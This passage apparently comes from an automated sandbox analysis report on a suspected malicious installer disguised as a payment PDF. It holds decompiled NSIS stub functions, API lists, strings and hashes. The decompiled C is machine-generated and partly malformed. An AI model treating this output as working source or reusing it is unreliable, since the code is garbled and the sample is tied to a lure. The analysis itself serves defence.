					 *(_t56 - 0x30) = _t31;
					_t49 = GlobalAlloc(0x40, _t31);
					if(_t49 != _t45) {
						E004032CA(_t45);
						E004032B4(_t49,  *(_t56 - 0x30));
						_t54 = GlobalAlloc(0x40,  *(_t56 - 0x20));
						 *(_t56 - 0x38) = _t54;
						if(_t54 != _t45) {
							E004030D8( *((intOrPtr*)(_t56 - 0x24)), _t45, _t54,  *(_t56 - 0x20));
							while( *_t54 != _t45) {
								_t47 =  *_t54;
								_t55 = _t54 + 8;
								 *(_t56 - 0x8c) =  *_t54;
								E00405C15( *((intOrPtr*)(_t54 + 4)) + _t49, _t55, _t47);
								_t54 = _t55 +  *(_t56 - 0x8c);
							}
							GlobalFree( *(_t56 - 0x38));
						}
						E00405D01( *(_t56 + 8), _t49,  *(_t56 - 0x30));
						GlobalFree(_t49);
						 *((intOrPtr*)(_t56 - 0xc)) = E004030D8(0xffffffff,  *(_t56 + 8), _t45, _t45);
					}
					CloseHandle( *(_t56 + 8));
				}
				_t51 = 0xfffffff3;
				if( *((intOrPtr*)(_t56 - 0xc)) < _t45) {
					_t51 = 0xffffffef;
					DeleteFileA( *(_t56 - 0x78));
					 *((intOrPtr*)(_t56 - 4)) = 1;
				}
				_push(_t51);
				E00401423();
				 *0x4247c8 =  *0x4247c8 +  *((intOrPtr*)(_t56 - 4));
				return 0;
			}

0x004027df
0x004027e1
0x004027ed
0x004027f0
0x004027fa
0x004027fe
0x004027fe
0x00402804
0x00402811
0x00402819
0x0040281c
0x00402822
0x00402830
0x00402835
0x00402839
0x0040283c
0x00402845
0x00402851
0x00402855
0x00402858
0x00402862
0x00402887
0x00402869
0x0040286e
0x00402876
0x0040287c
0x00402881
0x00402881
0x0040288e
0x0040288e
0x0040289b
0x004028a1
0x004028b3
0x004028b3
0x004028b9
0x004028b9
0x004028c4
0x004028c5
0x004028c9
0x004028cd
0x004028d3
0x004028d3
0x004028da
0x004022dd
0x00402a5d
0x00402a69

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,?,00000000,00000000,?,?,?,000000F0), ref: 00402833
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,000000F0), ref: 0040284F
GlobalFree.KERNEL32(?), ref: 0040288E
GlobalFree.KERNEL32(00000000), ref: 004028A1
CloseHandle.KERNEL32(?,?,?,?,000000F0), ref: 004028B9
DeleteFileA.KERNEL32(?,00000000,40000000,?,00000000,00000000,?,?,?,000000F0), ref: 004028CD

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: ee4a68396c29b08b741c613ff754ff0f0653b24d2e102e37bfb1fe53aeee4bcb
Instruction ID: 07af861edfd5d45cc772d4460453d41526fe3ac71611944f2ada717c13252223
Opcode Fuzzy Hash: ee4a68396c29b08b741c613ff754ff0f0653b24d2e102e37bfb1fe53aeee4bcb
Instruction Fuzzy Hash: 83218D72800128BBDF217FA5CE48D9E7E79EF09364F10423EF551762D1C67949418FA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040498E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E0040498E(int _a4, intOrPtr _a8, signed int _a12, signed int _a16) {
				char _v36;
				char _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t21;
				signed int _t22;
				void* _t29;
				void* _t31;
				void* _t32;
				void* _t41;
				signed int _t43;
				signed int _t47;
				signed int _t50;
				signed int _t51;
				signed int _t53;

				_t21 = _a16;
				_t51 = _a12;
				_t41 = 0xffffffdc;
				if(_t21 == 0) {
					_push(0x14);
					_pop(0);
					_t22 = _t51;
					if(_t51 < 0x100000) {
						_push(0xa);
						_pop(0);
						_t41 = 0xffffffdd;
					}
					if(_t51 < 0x400) {
						_t41 = 0xffffffde;
					}
					if(_t51 < 0xffff3333) {
						_t50 = 0x14;
						asm("cdq");
						_t22 = 1 / _t50 + _t51;
					}
					_t23 = _t22 & 0x00ffffff;
					_t53 = _t22 >> 0;
					_t43 = 0xa;
					_t47 = ((_t22 & 0x00ffffff) + _t23 * 4 + (_t22 & 0x00ffffff) + _t23 * 4 >> 0) % _t43;
				} else {
					_t53 = (_t21 << 0x00000020 | _t51) >> 0x14;
					_t47 = 0;
				}
				_t29 = E00406154(_t41, _t47, _t53,  &_v36, 0xffffffdf);
				_t31 = E00406154(_t41, _t47, _t53,  &_v68, _t41);
				_t32 = E00406154(_t41, _t47, 0x420d28, 0x420d28, _a8);
				wsprintfA(_t32 + lstrlenA(0x420d28), "%u.%u%s%s", _t53, _t47, _t31, _t29);
				return SetDlgItemTextA( *0x423ef8, _a4, 0x420d28);
			}

0x00404994
0x00404999
0x004049a1
0x004049a2
0x004049af
0x004049b7
0x004049b8
0x004049ba
0x004049bc
0x004049be
0x004049c1
0x004049c1
0x004049c8
0x004049ce
0x004049ce
0x004049d5
0x004049dc
0x004049df
0x004049e2
0x004049e2
0x004049e6
0x004049f6
0x004049f8
0x004049fb
0x004049a4
0x004049a4
0x004049ab
0x004049ab
0x00404a03
0x00404a0e
0x00404a24
0x00404a34
0x00404a50

APIs

lstrlenA.KERNEL32(respektlst Setup: Installing,respektlst Setup: Installing,?,%u.%u%s%s,?,00000000,00000000,?,000000DC,00000000,004048A9,000000DF,00000000,00000400,?), ref: 00404A2C
wsprintfA.USER32 ref: 00404A34
SetDlgItemTextA.USER32(?,respektlst Setup: Installing), ref: 00404A47

Strings

respektlst Setup: Installing, xrefs: 00404A1E, 00404A23, 00404A29, 00404A3D
%u.%u%s%s, xrefs: 00404A16

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$respektlst Setup: Installing
API String ID: 3540041739-2565634164
Opcode ID: 45a4e6bed148a2b0306228b643eab15c63806e9d10177927c2d999a7ce01f748
Instruction ID: 1301199a10d6bfa0f795ae51e8cceb2c664c9f74d195b05cdaf9af1bfefcf64c
Opcode Fuzzy Hash: 45a4e6bed148a2b0306228b643eab15c63806e9d10177927c2d999a7ce01f748
Instruction Fuzzy Hash: 7A11B7B36041286BEB0066799C46EAF32D9DB85374F250237FA26F61D1E9788C5281A9

Uniqueness

Uniqueness Score: -1.00%

Function 00401D65 Relevance: 7.6, APIs: 5, Instructions: 75
windowCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00401D65(void* __ebx, void* __edx) {
				struct HWND__* _t30;
				CHAR* _t38;
				void* _t48;
				void* _t53;
				signed int _t55;
				signed int _t58;
				long _t61;
				void* _t65;

				_t53 = __ebx;
				if(( *(_t65 - 0x1b) & 0x00000001) == 0) {
					_t30 = GetDlgItem( *(_t65 - 8),  *(_t65 - 0x20));
				} else {
					E00402BAC("true");
					 *((intOrPtr*)(__ebp - 0x38)) = __edx;
				}
				_t55 =  *(_t65 - 0x1c);
				 *(_t65 + 8) = _t30;
				_t58 = _t55 & 0x00000004;
				 *(_t65 - 0xc) = _t55 & 0x00000003;
				 *(_t65 - 0x34) = _t55 >> 0x1f;
				 *(_t65 - 0x30) = _t55 >> 0x0000001e & 0x00000001;
				if((_t55 & 0x00010000) == 0) {
					_t38 =  *(_t65 - 0x24) & 0x0000ffff;
				} else {
					_t38 = E00402BCE(0x11);
				}
				 *(_t65 - 8) = _t38;
				GetClientRect( *(_t65 + 8), _t65 - 0x84);
				asm("sbb edi, edi");
				_t61 = LoadImageA( ~_t58 &  *0x424720,  *(_t65 - 8),  *(_t65 - 0xc),  *(_t65 - 0x7c) *  *(_t65 - 0x34),  *(_t65 - 0x78) *  *(_t65 - 0x30),  *(_t65 - 0x1c) & 0x0000fef0);
				_t48 = SendMessageA( *(_t65 + 8), 0x172,  *(_t65 - 0xc), _t61);
				if(_t48 != _t53 &&  *(_t65 - 0xc) == _t53) {
					DeleteObject(_t48);
				}
				if( *((intOrPtr*)(_t65 - 0x28)) >= _t53) {
					_push(_t61);
					E0040601F();
				}
				 *0x4247c8 =  *0x4247c8 +  *((intOrPtr*)(_t65 - 4));
				return 0;
			}

0x00401d65
0x00401d69
0x00401d7e
0x00401d6b
0x00401d6d
0x00401d73
0x00401d73
0x00401d84
0x00401d87
0x00401d91
0x00401d94
0x00401d9c
0x00401dad
0x00401db0
0x00401dbb
0x00401db2
0x00401db4
0x00401db4
0x00401dbf
0x00401dcc
0x00401df3
0x00401e02
0x00401e10
0x00401e18
0x00401e20
0x00401e20
0x00401e29
0x00401e2f
0x004029a5
0x004029a5
0x00402a5d
0x00402a69

APIs

GetDlgItem.USER32(?,?), ref: 00401D7E
GetClientRect.USER32(?,?), ref: 00401DCC
LoadImageA.USER32(?,?,?,?,?,?), ref: 00401DFC
SendMessageA.USER32(?,00000172,?,00000000), ref: 00401E10
DeleteObject.GDI32(00000000), ref: 00401E20

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 92fb06419dcf22d7c561d1c1cd7314035e184999ef60ddcb5701d42bd4b0d5ab
Instruction ID: 377f1368a79285744d6b6cf0b5e74a57d9b5ac4df0fb29ad0ac025f91be5ae75
Opcode Fuzzy Hash: 92fb06419dcf22d7c561d1c1cd7314035e184999ef60ddcb5701d42bd4b0d5ab
Instruction Fuzzy Hash: C8212872A00109AFCF15DFA4DD85AAEBBB5EB88300F24417EF911F62A1CB389941DB54

Uniqueness

Uniqueness Score: -1.00%

Function 00401E35 Relevance: 7.5, APIs: 5, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00401E35(intOrPtr __edx) {
				void* __esi;
				int _t9;
				signed char _t15;
				struct HFONT__* _t18;
				intOrPtr _t30;
				struct HDC__* _t31;
				void* _t33;
				void* _t35;

				_t30 = __edx;
				_t31 = GetDC( *(_t35 - 8));
				_t9 = E00402BAC("true");
				 *((intOrPtr*)(_t35 - 0x38)) = _t30;
				0x40b808->lfHeight =  ~(MulDiv(_t9, GetDeviceCaps(_t31, 0x5a), 0x48));
				ReleaseDC( *(_t35 - 8), _t31);
				 *0x40b818 = E00402BAC("true");
				_t15 =  *((intOrPtr*)(_t35 - 0x18));
				 *((intOrPtr*)(_t35 - 0x38)) = _t30;
				 *0x40b81f = 1;
				 *0x40b81c = _t15 & 0x00000001;
				 *0x40b81d = _t15 & 0x00000002;
				 *0x40b81e = _t15 & 0x00000004;
				E00406154(_t9, _t31, _t33, 0x40b824,  *((intOrPtr*)(_t35 - 0x24)));
				_t18 = CreateFontIndirectA(0x40b808);
				_push(_t18);
				_push(_t33);
				E0040601F();
				 *0x4247c8 =  *0x4247c8 +  *((intOrPtr*)(_t35 - 4));
				return 0;
			}

0x00401e35
0x00401e40
0x00401e42
0x00401e4f
0x00401e66
0x00401e6b
0x00401e78
0x00401e7d
0x00401e81
0x00401e8c
0x00401e93
0x00401ea5
0x00401eab
0x00401eb0
0x00401eba
0x00402620
0x00401569
0x004029a5
0x00402a5d
0x00402a69

APIs

GetDC.USER32(?), ref: 00401E38
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E52
MulDiv.KERNEL32(00000000,00000000), ref: 00401E5A
ReleaseDC.USER32(?,00000000), ref: 00401E6B
CreateFontIndirectA.GDI32(0040B808), ref: 00401EBA

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: a51eca622d5747cf0f893bcc089d384d19ec2055f24f89daf2cca01e462d809c
Instruction ID: 57a26ad33cd6426129b0cba3998c620b955dd558a32440fd51a8b23e498893f8
Opcode Fuzzy Hash: a51eca622d5747cf0f893bcc089d384d19ec2055f24f89daf2cca01e462d809c
Instruction Fuzzy Hash: 3E019672500240AFE7007BB0AE4A7997FF8D755301F108839F241B62F2C67800458BAC

Uniqueness

Uniqueness Score: -1.00%

Function 00405B47 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46
stringCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00405B47(void* __eflags, intOrPtr _a4) {
				int _t11;
				signed char* _t12;
				intOrPtr _t18;
				intOrPtr* _t21;
				void* _t22;

				E004060C1(0x422130, _a4);
				_t21 = E00405AF2(0x422130);
				if(_t21 != 0) {
					E0040639C(_t21);
					if(( *0x42473c & 0x00000080) == 0) {
						L5:
						_t22 = _t21 - 0x422130;
						while(1) {
							_t11 = lstrlenA(0x422130);
							_push(0x422130);
							if(_t11 <= _t22) {
								break;
							}
							_t12 = E00406435();
							if(_t12 == 0 || ( *_t12 & 0x00000010) != 0) {
								E00405AA0(0x422130);
								continue;
							} else {
								goto L1;
							}
						}
						E00405A59();
						return 0 | GetFileAttributesA(??) != 0xffffffff;
					}
					_t18 =  *_t21;
					if(_t18 == 0 || _t18 == 0x5c) {
						goto L1;
					} else {
						goto L5;
					}
				}
				L1:
				return 0;
			}

0x00405b53
0x00405b5e
0x00405b62
0x00405b69
0x00405b75
0x00405b81
0x00405b81
0x00405b99
0x00405b9a
0x00405ba1
0x00405ba2
0x00000000
0x00000000
0x00405b85
0x00405b8c
0x00405b94
0x00000000
0x00000000
0x00000000
0x00000000
0x00405b8c
0x00405ba4
0x00000000
0x00405bb8
0x00405b77
0x00405b7b
0x00000000
0x00000000
0x00000000
0x00000000
0x00405b7b
0x00405b64
0x00000000

APIs

Part of subcall function 004060C1: lstrcpynA.KERNEL32(?,?,00000400,004033E4,00423F20,NSIS Error,?,?,?,0000000B), ref: 004060CE

Part of subcall function 00405AF2: CharNextA.USER32(?,?,vesicorectal.sku,?,00405B5E,vesicorectal.sku,vesicorectal.sku,764B3410,?,C:\Users\user\AppData\Local\Temp\,004058A9,?,764B3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405B00
Part of subcall function 00405AF2: CharNextA.USER32(00000000), ref: 00405B05
Part of subcall function 00405AF2: CharNextA.USER32(00000000), ref: 00405B19

lstrlenA.KERNEL32(vesicorectal.sku,00000000,vesicorectal.sku,vesicorectal.sku,764B3410,?,C:\Users\user\AppData\Local\Temp\,004058A9,?,764B3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405B9A
GetFileAttributesA.KERNEL32(vesicorectal.sku,vesicorectal.sku,vesicorectal.sku,vesicorectal.sku,vesicorectal.sku,vesicorectal.sku,00000000,vesicorectal.sku,vesicorectal.sku,764B3410,?,C:\Users\user\AppData\Local\Temp\,004058A9,?,764B3410,C:\Users\user\AppData\Local\Temp\), ref: 00405BAA

Strings

vesicorectal.sku, xrefs: 00405B4D, 00405B52, 00405B58, 00405B93, 00405B99, 00405BA1, 00405BA9
C:\Users\user\AppData\Local\Temp\, xrefs: 00405B47

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\Users\user\AppData\Local\Temp\$vesicorectal.sku
API String ID: 3248276644-404909535
Opcode ID: 833d5d7d4d88ab044a5975486a6ace5c2f1c8b1622a9b4308b288e25f9abd96d
Instruction ID: e51454695f06d4bf62575f1f71cc8d9d2da662beaff56aa2e5751c7b88ff0260
Opcode Fuzzy Hash: 833d5d7d4d88ab044a5975486a6ace5c2f1c8b1622a9b4308b288e25f9abd96d
Instruction Fuzzy Hash: 47F02835601E6029C622223A0C45BAF3A65CE8232474D013FFC51B52C2DB3CB943DE6E

Uniqueness

Uniqueness Score: -1.00%

Function 00405A59 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405A59(CHAR* _a4) {
				CHAR* _t7;

				_t7 = _a4;
				if( *(CharPrevA(_t7,  &(_t7[lstrlenA(_t7)]))) != 0x5c) {
					lstrcatA(_t7, 0x40a014);
				}
				return _t7;
			}

0x00405a5a
0x00405a71
0x00405a79
0x00405a79
0x00405a81

APIs

lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,004032FF,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403524,?,?,?,0000000B), ref: 00405A5F
CharPrevA.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,004032FF,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403524,?,?,?,0000000B), ref: 00405A68
lstrcatA.KERNEL32(?,0040A014,?,?,?,0000000B), ref: 00405A79

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405A59

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3355392842
Opcode ID: 7e3bd0a74015a4b4c7bd8f32b9337ec82444728bd267b6e5413a6877d2367a50
Instruction ID: 4e9c794251620aa29aecb4049673505928abe3d31fb5bce1aa7abaa38b2a0d50
Opcode Fuzzy Hash: 7e3bd0a74015a4b4c7bd8f32b9337ec82444728bd267b6e5413a6877d2367a50
Instruction Fuzzy Hash: 2DD0A7A22015347AD20166254C06DDB690C8F02310B050066F200B2191C63C4C1147FD

Uniqueness

Uniqueness Score: -1.00%

Function 00405AF2 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00405AF2(CHAR* _a4) {
				CHAR* _t5;
				char* _t7;
				CHAR* _t9;
				char _t10;
				CHAR* _t11;
				void* _t13;

				_t11 = _a4;
				_t9 = CharNextA(_t11);
				_t5 = CharNextA(_t9);
				_t10 =  *_t11;
				if(_t10 == 0 ||  *_t9 != 0x3a || _t9[1] != 0x5c) {
					if(_t10 != 0x5c || _t11[1] != _t10) {
						L10:
						return 0;
					} else {
						_push("true");
						_pop(_t13);
						while(1) {
							_t13 = _t13 - 1;
							_t7 = E00405A84(_t5, 0x5c);
							if( *_t7 == 0) {
								goto L10;
							}
							_t5 = _t7 + 1;
							if(_t13 != 0) {
								continue;
							}
							return _t5;
						}
						goto L10;
					}
				} else {
					return CharNextA(_t5);
				}
			}

0x00405afb
0x00405b02
0x00405b05
0x00405b07
0x00405b0b
0x00405b20
0x00405b3f
0x00000000
0x00405b27
0x00405b27
0x00405b29
0x00405b2a
0x00405b2d
0x00405b2e
0x00405b36
0x00000000
0x00000000
0x00405b38
0x00405b3b
0x00000000
0x00000000
0x00000000
0x00405b3b
0x00000000
0x00405b2a
0x00405b18
0x00000000
0x00405b19

APIs

CharNextA.USER32(?,?,vesicorectal.sku,?,00405B5E,vesicorectal.sku,vesicorectal.sku,764B3410,?,C:\Users\user\AppData\Local\Temp\,004058A9,?,764B3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405B00
CharNextA.USER32(00000000), ref: 00405B05
CharNextA.USER32(00000000), ref: 00405B19

Strings

vesicorectal.sku, xrefs: 00405AF3

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: CharNext
String ID: vesicorectal.sku
API String ID: 3213498283-522210728
Opcode ID: 1e979eba324918ca677e02d4c6d61fe282ba8a8b0f982e42ab73b577f73820d9
Instruction ID: 371d989ad5315216d0c0cc34824f97af3956e00fc8829d3fd4d1a8d6fd0debac
Opcode Fuzzy Hash: 1e979eba324918ca677e02d4c6d61fe282ba8a8b0f982e42ab73b577f73820d9
Instruction Fuzzy Hash: 84F06251E14F956FFB3292680C44B777AA8CB95751F14407BD680762C286BC78408FAA

Uniqueness

Uniqueness Score: -1.00%

Function 00402E3D Relevance: 6.0, APIs: 4, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402E3D(intOrPtr _a4) {
				long _t2;
				struct HWND__* _t3;
				struct HWND__* _t6;

				if(_a4 == 0) {
					__eflags =  *0x41f8e0; // 0x0
					if(__eflags == 0) {
						_t2 = GetTickCount();
						__eflags = _t2 -  *0x424730;
						if(_t2 >  *0x424730) {
							_t3 = CreateDialogParamA( *0x424720, 0x6f, 0, E00402DBA, 0);
							 *0x41f8e0 = _t3;
							return ShowWindow(_t3, "true");
						}
						return _t2;
					} else {
						return E00406506(0);
					}
				} else {
					_t6 =  *0x41f8e0; // 0x0
					if(_t6 != 0) {
						_t6 = DestroyWindow(_t6);
					}
					 *0x41f8e0 = 0;
					return _t6;
				}
			}

0x00402e44
0x00402e5e
0x00402e64
0x00402e6e
0x00402e74
0x00402e7a
0x00402e8b
0x00402e94
0x00000000
0x00402e99
0x00402ea0
0x00402e66
0x00402e6d
0x00402e6d
0x00402e46
0x00402e46
0x00402e4d
0x00402e50
0x00402e50
0x00402e56
0x00402e5d
0x00402e5d

APIs

DestroyWindow.USER32(00000000,00000000,0040301B,?), ref: 00402E50
GetTickCount.KERNEL32 ref: 00402E6E
CreateDialogParamA.USER32(0000006F,00000000,00402DBA,00000000), ref: 00402E8B
ShowWindow.USER32(00000000,?), ref: 00402E99

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

